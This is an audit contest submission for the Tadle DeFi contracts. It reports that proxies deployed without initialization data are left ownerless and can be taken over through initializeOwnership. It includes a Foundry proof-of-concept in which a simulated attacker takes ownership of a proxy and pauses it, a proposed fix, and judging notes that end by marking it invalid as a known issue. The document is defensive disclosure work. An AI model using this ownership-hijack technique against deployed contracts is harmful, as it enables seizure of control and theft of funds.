Tadle

DeFiFoundry

27,750 USDC

View results

Previous Next

Submission Details

Severity: low

Invalid

Unauthorized Ownership Takeover Possible Due to Incomplete Proxy Initialization

galturok

Summary

The TadleFactory contract contains a critical vulnerability in the way it deploys upgradeable proxies for system components. Specifically, when proxies are deployed or redeployed without proper initialization data, the ownership of the deployed proxy contracts can be hijacked by an attacker. This allows an attacker to take full control of the contract, including pausing the contract and draining its assets.

Vulnerability Details

The vulnerability stems from the proxy deployment mechanism in the TadleFactory contract. The deployUpgradeableProxy function in TadleFactory creates an instance of UpgradeableProxy as follows:

UpgradeableProxy _proxy = new UpgradeableProxy(

_logic,

guardian,

address(this),

_data

);

This, in turn, calls the constructor of the UpgradeableProxy contract:

contract UpgradeableProxy is TransparentUpgradeableProxy {

ITadleFactory public tadleFactory;

/**

* @param _logic address of logic contract

* @param _admin address of admin

* @param _data call data for logic

constructor(

address _logic,

address _admin,

address _tadleFactory,

bytes memory _data

) TransparentUpgradeableProxy(_logic, _admin, _data) {

tadleFactory = ITadleFactory(_tadleFactory);

}

Issue Description

Initialization of Ownership:
- The TadleFactory contract attempts to set the guardian address as the admin during proxy deployment.
- However, since the proxy uses the _data parameter for initialization, if the _data is omitted or incorrect, the initializeOwnership function in the proxy logic contract is never called.
- This leaves the owner state variable uninitialized (i.e., address(0)).
Ownership Hijacking:
- If the owner remains as address(0), any address can call the initializeOwnership function to gain ownership of the contract.

function initializeOwnership(address _newOwner) external {

if (owner() != address(0x0)) {

revert AlreadyInitialized();

}

_transferOwnership(_newOwner);

}

The attacker gains full administrative control, including critical functions like pausing the contract or using the rescue function to drain assets.

Impact

The maximum possible impact of this vulnerability includes:

Ownership Hijacking:

An attacker can claim ownership of the proxy contract.
The attacker can take over all administrative functions intended for the legitimate owner.
Asset Theft:

Using the rescue function, the attacker can transfer all assets (tokens/ether) held by the proxy contract to their own address.

##POC

Foundry test.

// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";

import {SystemConfig} from "../src/core/SystemConfig.sol";

import {CapitalPool} from "../src/core/CapitalPool.sol";

import {TokenManager} from "../src/core/TokenManager.sol";

import {PreMarktes} from "../src/core/PreMarkets.sol";

import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";

import {TadleFactory} from "../src/factory/TadleFactory.sol";

import {OfferStatus, StockStatus, AbortOfferStatus, OfferType, StockType, OfferSettleType} from "../src/storage/OfferStatus.sol";

import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";

import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";

import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";

import {MockERC20Token} from "./mocks/MockERC20Token.sol";

import {WETH9} from "./mocks/WETH9.sol";

import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";

contract PreMarketsTest is Test {

SystemConfig systemConfig;

CapitalPool capitalPool;

TokenManager tokenManager;

PreMarktes preMarktes;

DeliveryPlace deliveryPlace;

TadleFactory tadleFactory;

address marketPlace;

WETH9 weth9;

MockERC20Token mockUSDCToken;

MockERC20Token mockPointToken;

address user = vm.addr(1);

address user1 = vm.addr(2);

address user2 = vm.addr(3);

address user3 = vm.addr(4);

uint256 basePlatformFeeRate = 5_000;

uint256 baseReferralRate = 300_000;

bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =

bytes4(keccak256(bytes("initializeOwnership(address)")));

function setUp() public {

// Deploy mocks

weth9 = new WETH9();

tadleFactory = new TadleFactory(user1);

mockUSDCToken = new MockERC20Token();

mockPointToken = new MockERC20Token();

SystemConfig systemConfigLogic = new SystemConfig();

CapitalPool capitalPoolLogic = new CapitalPool();

TokenManager tokenManagerLogic = new TokenManager();

PreMarktes preMarktesLogic = new PreMarktes();

DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();

bytes memory deploy_data = abi.encodeWithSelector(

INITIALIZE_OWNERSHIP_SELECTOR,

user1

);

vm.startPrank(user1);

address systemConfigProxy = tadleFactory.deployUpgradeableProxy(

address(systemConfigLogic),

bytes(deploy_data)

);

address preMarktesProxy = tadleFactory.deployUpgradeableProxy(

address(preMarktesLogic),

bytes(deploy_data)

);

address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(

address(deliveryPlaceLogic),

bytes(deploy_data)

);

address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(

address(capitalPoolLogic),

bytes(deploy_data)

);

address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(

address(tokenManagerLogic),

bytes(deploy_data)

);

systemConfig = SystemConfig(systemConfigProxy);

capitalPool = CapitalPool(capitalPoolProxy);

tokenManager = TokenManager(tokenManagerProxy);

preMarktes = PreMarktes(preMarktesProxy);

deliveryPlace = DeliveryPlace(deliveryPlaceProxy);

// Initialize

systemConfig.initialize(basePlatformFeeRate, baseReferralRate);

tokenManager.initialize(address(weth9));

address[] memory tokenAddressList = new address[](2);

tokenAddressList[0] = address(mockUSDCToken);

tokenAddressList[1] = address(weth9);

tokenManager.updateTokenWhiteListed(tokenAddressList, true);

systemConfig.createMarketPlace("Backpack", false);

// Simulate capital pool approval

capitalPool.approve(address(mockUSDCToken));

vm.stopPrank();

deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);

deal(address(mockPointToken), user, 100000000 * 10 ** 18);

deal(user, 100000000 * 10 ** 18);

deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);

deal(address(mockUSDCToken), user2, 1000 * 10 ** 18);

deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);

deal(address(mockPointToken), user2, 100000000 * 10 ** 18);

marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");

vm.warp(1719826275);

vm.prank(user);

mockUSDCToken.approve(address(tokenManager), type(uint256).max);

vm.startPrank(user2);

mockUSDCToken.approve(address(tokenManager), type(uint256).max);

mockPointToken.approve(address(tokenManager), type(uint256).max);

vm.stopPrank();

// Ensure the capital pool has enough tokens

deal(address(mockUSDCToken), capitalPoolProxy, 100000 * 10 ** 18);

}

function testOwnershipHijack() public {

console2.log("Starting testOwnershipHijack");

// Check initial owner of the SystemConfigProxy (as an example)

address initialOwner = systemConfig.owner();

console2.log("Initial owner of SystemConfigProxy:", initialOwner);

assertEq(initialOwner, user1);

// Redeploy proxy without initialization data to simulate mistake

console2.log("Redeploying SystemConfigProxy without initialization data...");

vm.startPrank(user1);

address newSystemConfigProxy = tadleFactory.deployUpgradeableProxy(

address(new SystemConfig()),

new bytes(0)

);

vm.stopPrank();

console2.log("New SystemConfigProxy deployed at address:", newSystemConfigProxy);

SystemConfig newSystemConfig = SystemConfig(newSystemConfigProxy);

// Verify the owner is address(0) (unowned)

address newOwner = newSystemConfig.owner();

console2.log("Owner of new SystemConfigProxy:", newOwner);

assertEq(newOwner, address(0));

// Attacker steps in to hijack the ownership

address attacker = vm.addr(5);

console2.log("Attacker address:", attacker);

vm.prank(attacker);

newSystemConfig.initializeOwnership(attacker);

console2.log("Attacker has called initializeOwnership");

// Verify the attacker is now the owner

address attackedOwner = newSystemConfig.owner();

console2.log("Owner of new SystemConfigProxy after attack:", attackedOwner);

assertEq(attackedOwner, attacker);

// At this point, attacker has full control. Test a mock operation.

vm.prank(attacker);

newSystemConfig.setPauseStatus(true); // Attacker pauses the contract

console2.log("Attacker has paused the contract");

// Verify the pause status

bool isPaused = newSystemConfig.paused();

console2.log("Pause status of new SystemConfigProxy:", isPaused);

assertTrue(isPaused);

console2.log("Finished testOwnershipHijack");

}

Logs

[PASS] testOwnershipHijack() (gas: 1794069)

Logs:

Starting testOwnershipHijack

Initial owner of SystemConfigProxy: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

Redeploying SystemConfigProxy without initialization data...

New SystemConfigProxy deployed at address: 0x1fee48ED5BD602834114e19c1a3355b0d20Ea0Df

Owner of new SystemConfigProxy: 0x0000000000000000000000000000000000000000

Attacker address: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276

Attacker has called initializeOwnership

Owner of new SystemConfigProxy after attack: 0xe1AB8145F7E55DC933d51a18c793F901A3A0b276

Attacker has paused the contract

Pause status of new SystemConfigProxy: true

Finished testOwnershipHijack

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.19ms (2.49ms CPU time)

Tools Used

Foundry

Recommendations

To mitigate the identified vulnerability, ensure that proper initialization data is always passed when deploying or redeploying proxies. Specifically, the ownership of the proxy contract should be set correctly during deployment to prevent unauthorized ownership and control.

The key step is to ensure that the initializeOwnership function is called with the correct owner address (guardian) during the proxy deployment. This can be achieved by modifying the deployUpgradeableProxy function in the TadleFactory contract to always include the ownership initialization data.

function deployUpgradeableProxy(

uint8 _relatedContractIndex,

address _logic,

bytes memory _data

) external onlyGuardian returns (address) {

/// @dev the logic address must be a contract

if (!_logic.isContract()) {

revert LogicAddrIsNotContract(_logic);

}

+ // Ensure that the owner is properly initialized

+ if (_data.length == 0) {

+ bytes memory deploy_data = abi.encodeWithSelector(

+ INITIALIZE_OWNERSHIP_SELECTOR,

+ guardian

+ );

+ _data = deploy_data;

+ }

/// @dev deploy proxy

UpgradeableProxy _proxy = new UpgradeableProxy(

_logic,

guardian,

address(this),

_data

);

relatedContracts[_relatedContractIndex] = address(_proxy);

emit RelatedContractDeployed(_relatedContractIndex, address(_proxy));

return address(_proxy);

}

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago

Submission Judgement Published

Validated

Assigned finding tags:

[invalid] finding-Rescuable-upgradeable-initializeOwner

Valid high severity, since `initializeOwner` is not called for proxy contracts and the constructor for each `Rescuable.sol` contract will not be invoked during proxy deployment, this leaves the `owner` for each proxy unitialized allowing potential to withdraw fund from other proxy contracts inheriting `Rescuable.sol` respectively.

Appeal created

0xbrivan2 Auditor

about 1 year ago

galturok Submitter

about 1 year ago

0xnevi Lead Judge

about 1 year ago

galturok Submitter

about 1 year ago

galturok Submitter

about 1 year ago

galturok Submitter

about 1 year ago

karanel Judge

about 1 year ago

0xnevi Lead Judge

about 1 year ago

0xnevi Lead Judge about 1 year ago

Submission Judgement Published

Invalidated

Reason: Known issue

Assigned finding tags:

[invalid] finding-Rescuable-upgradeable-initializeOwner

Prize pool breakdown

Total prize

27,750 USDC

nSLOC

1,229

23 USDC / LOC

High Medium

25,000 USDC

Low

2,750 USDC

Judges

2,250 USDC

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.